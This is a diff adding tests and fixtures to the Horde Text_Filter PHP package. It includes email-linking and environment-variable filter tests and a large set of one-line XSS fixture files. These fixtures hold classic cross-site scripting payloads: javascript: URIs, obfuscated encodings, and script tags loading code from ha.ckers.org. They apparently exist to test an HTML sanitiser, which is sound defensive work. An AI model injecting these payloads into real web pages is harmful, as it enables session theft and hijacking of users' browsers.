+ <changelog>
+  <release>
+   <date>2006-05-08</date>
+   <time>23:39:08</time>
+   <version>
+    <release>0.0.2</release>
+    <api>0.0.2</api>
+   </version>
+   <stability>
+    <release>alpha</release>
+    <api>alpha</api>
+   </stability>
+   <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+   <notes>* Don't strip BASE tags when 'strip_styles' is false.
+   * Added ability to link &lt;test@example.com&gt; e-mail addresses in plain text.
+   * Removed dependency on external javascript file when toggling quoted lines.
+   * Converted to package.xml 2.0 for pear.horde.org
+   * Allow the bad words filter to leave the first character of a matching word and replace the rest with '*' (duck@obala.net).
+   * Improved efficiency of the linkurls filter when searching long lines
+   </notes>
+  </release>
+  <release>
+   <version>
+    <release>0.0.1</release>
+    <api>0.0.1</api>
+   </version>
+   <stability>
+    <release>alpha</release>
+    <api>alpha</api>
+   </stability>
+   <date>2004-10-12</date>
+   <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+   <notes>Initial release as a PEAR package
+   </notes>
+  </release>
+ </changelog>
+</package>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/emails.phpt b/framework/Text_Filter/test/Horde/Text/Filter/emails.phpt
new file mode 100644 (file)
index 0000000..4bdc2ae
--- /dev/null
@@ -0,0 +1,39 @@
+--TEST--
+Horde_Text_Filter_Email tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/emails.php';
+
+$emails = <<<EOT
+Inline address test@example.com test.
+Inline protocol mailto: test@example.com test with whitespace.
+Inline Outlook [mailto:test@example.com] test.
+Inline angle brackets <test@example.com> test.
+Inline angle brackets (HTML) &lt;test@example.com&gt; test.
+Inline angle brackets with mailto &lt;mailto:test@example.com&gt; test.
+Inline with parameters test@example.com?subject=A%20subject&body=The%20message%20body test.
+Inline protocol with parameters mailto:test@example.com?subject=A%20subject&body=The%20message%20body test.
+test@example.com in front test.
+At end test of test@example.com
+Don't link http://test@www.horde.org/ test.
+Real world example: mailto:pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d
+EOT;
+
+echo Horde_Text_Filter::filter($emails, 'emails', array('always_mailto' => true, 'class' => 'pagelink'));
+
+?>
+--EXPECT--
+Inline address <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> test.
+Inline protocol mailto: <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> test with whitespace.
+Inline Outlook [mailto:<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>] test.
+Inline angle brackets &lt;<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>&gt; test.
+Inline angle brackets (HTML) &lt;<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>&gt; test.
+Inline angle brackets with mailto &lt;mailto:<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>&gt; test.
+Inline with parameters <a class="pagelink" href="mailto:test@example.com?subject=A%20subject&body=The%20message%20body" title="New Message to test@example.com">test@example.com?subject=A%20subject&body=The%20message%20body</a> test.
+Inline protocol with parameters mailto:<a class="pagelink" href="mailto:test@example.com?subject=A%20subject&body=The%20message%20body" title="New Message to test@example.com">test@example.com?subject=A%20subject&body=The%20message%20body</a> test.
+<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> in front test.
+At end test of <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>
+Don't link http://test@www.horde.org/ test.
+Real world example: mailto:<a class="pagelink" href="mailto:pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d" title="New Message to pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com">pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d</a>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/environment.phpt b/framework/Text_Filter/test/Horde/Text/Filter/environment.phpt
new file mode 100644 (file)
index 0000000..f116153
--- /dev/null
@@ -0,0 +1,30 @@
+--TEST--
+Horde_Text_Filter_Environment tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Environment.php';
+
+$env = <<<EOT
+Simple line
+Inline %FOO% variable
+%FOO% at start
+at end %FOO%
+# %COMMENT% line
+Variable %FOO% with # comment %COMMENT%
+Simple line
+EOT;
+
+putenv('FOO=bar');
+putenv('COMMENT=comment');
+echo Horde_Text_Filter::filter($env, 'environment');
+
+?>
+--EXPECT--
+Simple line
+Inline bar variable
+bar at start
+at end bar
+Variable bar with 
+Simple line
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/html2text.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/html2text.html
new file mode 100644 (file)
index 0000000..e20e507
--- /dev/null
@@ -0,0 +1,163 @@
+<h2>Inline Formatting</h2>
+
+    Some text with leading and trailing whitespace  
+
+<table class="table">
+    <tr>
+        <td class="table-cell">emphasis text</td>
+        <td class="table-cell"><em>emphasis text</em></td>
+    </tr>
+    <tr>
+        <td class="table-cell">strong text</td>
+        <td class="table-cell"><strong>strong text</strong></td>
+    </tr>
+    <tr>
+        <td class="table-cell">italic text</td>
+        <td class="table-cell"><i>italic text</i></td>
+    </tr>
+    <tr>
+        <td class="table-cell">bold text</td>
+        <td class="table-cell"><b>bold text</b></td>
+    </tr>
+    <tr>
+        <td class="table-cell">emphasis and strong</td>
+        <td class="table-cell"><em><strong>emphasis and strong</strong></em></td>
+    </tr>
+    <tr>
+        <td class="table-cell">underline text</td>
+        <td class="table-cell"><u>underline text</u></td>
+    </tr>
+</table>
+
+<hr />
+
+
+<h2>Links</h2>
+<a href="http://www.horde.org">Horde Homepage</a><br />
+<a href="mailto:test@example.com">Test User</a><br />
+Some inline <a href="http://www.horde.org">link</a>.<br />
+<a href="http://www.example.com">http://www.example.com</a><br />
+
+<hr />
+
+
+<h2>Headings</h2>
+<p>You can make various levels of heading by putting equals-signs before and
+after the text (all on its own line):</p>
+
+<h3>level 3 heading</h3>
+<h4>level 4 heading</h4>
+
+<h5>level 5 heading</h5>
+<h6>level 6 heading</h6>
+
+<hr />
+
+
+<h3>Bullet Lists</h3>
+<p>You can create bullet lists by starting a paragraph with one or more
+asterisks.</p>
+
+<ul>
+    <li>Bullet one<ul>
+        <li>Sub-bullet</li>
+    </ul></li>
+</ul>
+
+<h3>Numbered Lists</h3>
+<p>Similarly, you can create numbered lists by starting a paragraph with one
+or more hashes.</p>
+
+<ol>
+    <li>Numero uno</li>
+    <li>Number two<ol>
+        <li>Sub-item</li>
+    </ol></li>
+
+</ol>
+
+<h3>Mixing Bullet and Number List Items</h3>
+<p>You can mix and match bullet and number lists:</p>
+
+<ol>
+    <li>Number one<ul>
+        <li>Bullet</li>
+        <li>Bullet</li>
+    </ul></li>
+    <li>Number two<ul>
+        <li>Bullet</li>
+        <li>Bullet<ul>
+            <li>Sub-bullet<ol>
+                <li>Sub-sub-number</li>
+                <li>Sub-sub-number</li>
+            </ol></li>
+        </ul></li>
+    </ul></li>
+    <li>Number three<ul>
+        <li>Bullet</li>
+        <li>Bullet</li>
+    </ul></li>
+</ol>
+
+
+<h2>Block quoting</h2>
+<blockquote type="cite">
+<a href="http://www.horde.org">Horde Homepage</a><br />
+Some inline <a href="http://www.horde.org">link</a>.<br />
+</blockquote>
+
+Line inbetween.
+
+<blockquote type="cite">
+<h2>Heading inside quoting</h2>
+<p>This is a paragraph inside a block quoting. The result should be several
+lines prefixed with the &gt; character.</p>
+</blockquote>
+
+
+<h2>Special Characters</h2>
+
+&auml;
+&eacute;
+&copy;
+&trade;
+
+<p>Zitat von John Doe &lt;john.doe@example.com&gt;:</p>
+  <blockquote type="cite"> 
+    <div class="Section1"> 
+      <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;">Hallo lieber John,<o:p /></span></font></p> 
+      <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;"><o:p> </o:p></span></font></p> 
+      <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;">Blah, blah.'<o:p /></span></font></p> 
+      <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;"><o:p> </o:p></span></font></p> 
+      <p class="MsoNormal"><font size="3" face="Times New Roman"><span lang="EN-GB" style="font-size: 12pt;"><o:p> </o:p></span></font></p> 
+    </div> 
+  </blockquote> 
+  <p> </p>
+  <p class="imp-signature"><!--begin_signature-->-- <br />
+Some signature<br /><a target="_blank" href="http://www.example.com">http://www.example.com</a><!--end_signature--></p>
+
+<p>Zitat von Jane Doe &lt;jane.doe@example.com&gt;:</p>
+  <blockquote type="cite">
+Jan Schneider a écrit&nbsp;:
+
+    <blockquote type="cite" cite="mid:20081007135151.190315kzjzymtbhc@neo.wg.de">Zitat von Jane Doe
+<a href="mailto:jane.doe@example.com" class="moz-txt-link-rfc2396E">&lt;jane.doe@example.com&gt;</a>:
+  <br /> <br /> 
+      <blockquote type="cite">Hi,
+    <br /> <br />
+I prepare the last &quot;horde-webmail-1.2&quot; for production level but I have
+few questions:
+    <br />
+- is there a way to disable &quot;external_display_cal&quot; in kronolith, I
+don't want seeing birthdays calendars (turba) and task list (nag)
+    <br /> </blockquote> <br />
+They aren't displayed by default, or do you mean you don't want them to
+appear in the top right calendar panel?
+  <br /> 
+    </blockquote>
+Yes I don't want them to appear in the top right calendar panel but I
+want user can create their external_cal<br />
+  </blockquote><br />
+  <p class="imp-signature"><!--begin_signature-->Jan.<br /> <br />
+-- <br />
+Do you need professional PHP or Horde consulting?<br /> <a target="_blank" href="http://horde.org/consulting/">http://horde.org/consulting/</a><!--end_signature--></p>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/style_xss01.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/style_xss01.html
new file mode 100644 (file)
index 0000000..7876e7a
--- /dev/null
@@ -0,0 +1 @@
+<BASE HREF="javascript:alert('XSS');//">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/text2html.txt b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/text2html.txt
new file mode 100644 (file)
index 0000000..550e1e7
--- /dev/null
@@ -0,0 +1,9 @@
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+<tag>foo</tag>
+<http://css.maxdesign.com.au/listamatic/>
+http://www.horde.org/?foo=bar&baz=qux
+http://www.<alert>.horde.org/
+http://www.&#x32;.horde.org/
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss01.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss01.html
new file mode 100644 (file)
index 0000000..e5b2f4b
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss02.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss02.html
new file mode 100644 (file)
index 0000000..268771b
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss03.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss03.html
new file mode 100644 (file)
index 0000000..16a49c7
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=javascript:alert('XSS')>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss04.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss04.html
new file mode 100644 (file)
index 0000000..d4b96e6
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=JaVaScRiPt:alert('XSS')>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss05.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss05.html
new file mode 100644 (file)
index 0000000..0188bcd
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=javascript:alert(&quot;XSS&quot;)>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss06.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss06.html
new file mode 100644 (file)
index 0000000..e6fa465
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss07.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss07.html
new file mode 100644 (file)
index 0000000..8db5584
--- /dev/null
@@ -0,0 +1 @@
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss08.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss08.html
new file mode 100644 (file)
index 0000000..8127962
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss09.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss09.html
new file mode 100644 (file)
index 0000000..28fe4b4
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss10.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss10.html
new file mode 100644 (file)
index 0000000..cec7c22
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss100.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss100.html
new file mode 100644 (file)
index 0000000..e93f969
--- /dev/null
@@ -0,0 +1 @@
+<img src='blank.jpg'style='width:expression(alert("xssed"))'>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss11.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss11.html
new file mode 100644 (file)
index 0000000..08f172b
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss12.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss12.html
new file mode 100644 (file)
index 0000000..ef55d25
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="jav  ascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss13.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss13.html
new file mode 100644 (file)
index 0000000..30ba58e
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="jav&#x09;ascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss14.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss14.html
new file mode 100644 (file)
index 0000000..c6eefd0
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="jav&#x0A;ascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss15.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss15.html
new file mode 100644 (file)
index 0000000..df67137
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="jav&#x0D;ascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss16.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss16.html
new file mode 100644 (file)
index 0000000..ccf6dc1
--- /dev/null
@@ -0,0 +1,28 @@
+<IMG
+SRC
+=
+j
+a
+v
+a
+s
+c
+r
+i
+p
+t
+:
+a
+l
+e
+r
+t
+(
+'
+X
+S
+S
+'
+)
+"
+>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss17.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss17.html
new file mode 100644 (file)
index 0000000..88efc5c
Binary files /dev/null and b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss17.html differ
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss18.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss18.html
new file mode 100644 (file)
index 0000000..bf09f11
Binary files /dev/null and b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss18.html differ
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss19.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss19.html
new file mode 100644 (file)
index 0000000..c49600b
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC=" &#14;  javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss20.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss20.html
new file mode 100644 (file)
index 0000000..50f4d4d
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss21.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss21.html
new file mode 100644 (file)
index 0000000..6ee2c81
--- /dev/null
@@ -0,0 +1 @@
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss22.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss22.html
new file mode 100644 (file)
index 0000000..fedaeda
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss23.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss23.html
new file mode 100644 (file)
index 0000000..a7a4a6e
--- /dev/null
@@ -0,0 +1 @@
+<<SCRIPT>alert("XSS");//<</SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss24.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss24.html
new file mode 100644 (file)
index 0000000..c271ad2
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss25.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss25.html
new file mode 100644 (file)
index 0000000..3bcf3d5
--- /dev/null
@@ -0,0 +1 @@
+<SCRIPT SRC=//ha.ckers.org/.j>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss26.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss26.html
new file mode 100644 (file)
index 0000000..e88ee3f
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="javascript:alert('XSS')"
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss27.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss27.html
new file mode 100644 (file)
index 0000000..82ea428
--- /dev/null
@@ -0,0 +1 @@
+<iframe src=http://ha.ckers.org/scriptlet.html <
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss28.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss28.html
new file mode 100644 (file)
index 0000000..71b4147
--- /dev/null
@@ -0,0 +1,2 @@
+<SCRIPT>a=/XSS/
+alert(a.source)</SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss29.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss29.html
new file mode 100644 (file)
index 0000000..b114c44
--- /dev/null
@@ -0,0 +1 @@
+</TITLE><SCRIPT>alert("XSS");</SCRIPT>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss30.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss30.html
new file mode 100644 (file)
index 0000000..f59e849
--- /dev/null
@@ -0,0 +1 @@
+<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss31.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss31.html
new file mode 100644 (file)
index 0000000..4b26cf0
--- /dev/null
@@ -0,0 +1 @@
+<BODY BACKGROUND="javascript:alert('XSS')">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss32.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss32.html
new file mode 100644 (file)
index 0000000..e15a0ef
--- /dev/null
@@ -0,0 +1 @@
+<BODY ONLOAD=alert('XSS')>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss33.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss33.html
new file mode 100644 (file)
index 0000000..c94b3d4
--- /dev/null
@@ -0,0 +1 @@
+<IMG DYNSRC="javascript:alert('XSS')">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss34.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss34.html
new file mode 100644 (file)
index 0000000..3572594
--- /dev/null
@@ -0,0 +1 @@
+<IMG LOWSRC="javascript:alert('XSS')">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss35.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss35.html
new file mode 100644 (file)
index 0000000..7cb3640
--- /dev/null
@@ -0,0 +1 @@
+<BGSOUND SRC="javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss36.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss36.html
new file mode 100644 (file)
index 0000000..78b1828
--- /dev/null
@@ -0,0 +1 @@
+<BR SIZE="&{alert('XSS')}">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss37.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss37.html
new file mode 100644 (file)
index 0000000..2bebdc5
--- /dev/null
@@ -0,0 +1 @@
+<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss38.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss38.html
new file mode 100644 (file)
index 0000000..60f5311
--- /dev/null
@@ -0,0 +1 @@
+<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss39.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss39.html
new file mode 100644 (file)
index 0000000..9c01666
--- /dev/null
@@ -0,0 +1 @@
+<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss40.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss40.html
new file mode 100644 (file)
index 0000000..2ff8dd3
--- /dev/null
@@ -0,0 +1 @@
+<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss41.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss41.html
new file mode 100644 (file)
index 0000000..adad3d3
--- /dev/null
@@ -0,0 +1 @@
+<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss42.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss42.html
new file mode 100644 (file)
index 0000000..bb88069
--- /dev/null
@@ -0,0 +1 @@
+<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss43.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss43.html
new file mode 100644 (file)
index 0000000..ba7f820
--- /dev/null
@@ -0,0 +1 @@
+<XSS STYLE="behavior: url(xss.htc);">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss44.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss44.html
new file mode 100644 (file)
index 0000000..1793ffc
--- /dev/null
@@ -0,0 +1 @@
+<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss45.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss45.html
new file mode 100644 (file)
index 0000000..87a0ea4
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC='vbscript:msgbox("XSS")'>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss46.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss46.html
new file mode 100644 (file)
index 0000000..092cbe7
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="mocha:[code]">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss47.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss47.html
new file mode 100644 (file)
index 0000000..a578bd6
--- /dev/null
@@ -0,0 +1 @@
+<IMG SRC="livescript:[code]">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss48.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss48.html
new file mode 100644 (file)
index 0000000..fd86713
--- /dev/null
@@ -0,0 +1 @@
+<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss49.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss49.html
new file mode 100644 (file)
index 0000000..c0ffc6b
--- /dev/null
@@ -0,0 +1 @@
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss50.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss50.html
new file mode 100644 (file)
index 0000000..9ab79e2
--- /dev/null
@@ -0,0 +1 @@
+<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss51.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss51.html
new file mode 100644 (file)
index 0000000..15dc19e
--- /dev/null
@@ -0,0 +1 @@
+<IFRAME SRC=javascript:alert('XSS')></IFRAME>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss52.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss52.html
new file mode 100644 (file)
index 0000000..933a890
--- /dev/null
@@ -0,0 +1 @@
+<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss53.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss53.html
new file mode 100644 (file)
index 0000000..efeb87c
--- /dev/null
@@ -0,0 +1 @@
+<TABLE BACKGROUND="javascript:alert('XSS')">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss54.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss54.html
new file mode 100644 (file)
index 0000000..890ea08
--- /dev/null
@@ -0,0 +1 @@
+<TABLE><TD BACKGROUND="javascript:alert('XSS')">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss55.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss55.html
new file mode 100644 (file)
index 0000000..220aaa9
--- /dev/null
@@ -0,0 +1 @@
+<DIV STYLE="background-image: url(javascript:alert('XSS'))">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss56.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss56.html
new file mode 100644 (file)
index 0000000..25c0bdd
--- /dev/null
@@ -0,0 +1 @@
+<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss57.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss57.html
new file mode 100644 (file)
index 0000000..4b776f1
--- /dev/null
@@ -0,0 +1 @@
+<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss58.html b/framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss58.html
new file mode 100644 (file)
index 0000000..0cecb36
--- /dev/null
@@ -0,0 +1 @@
+<DIV STYLE="width: expression(alert('XSS'));">
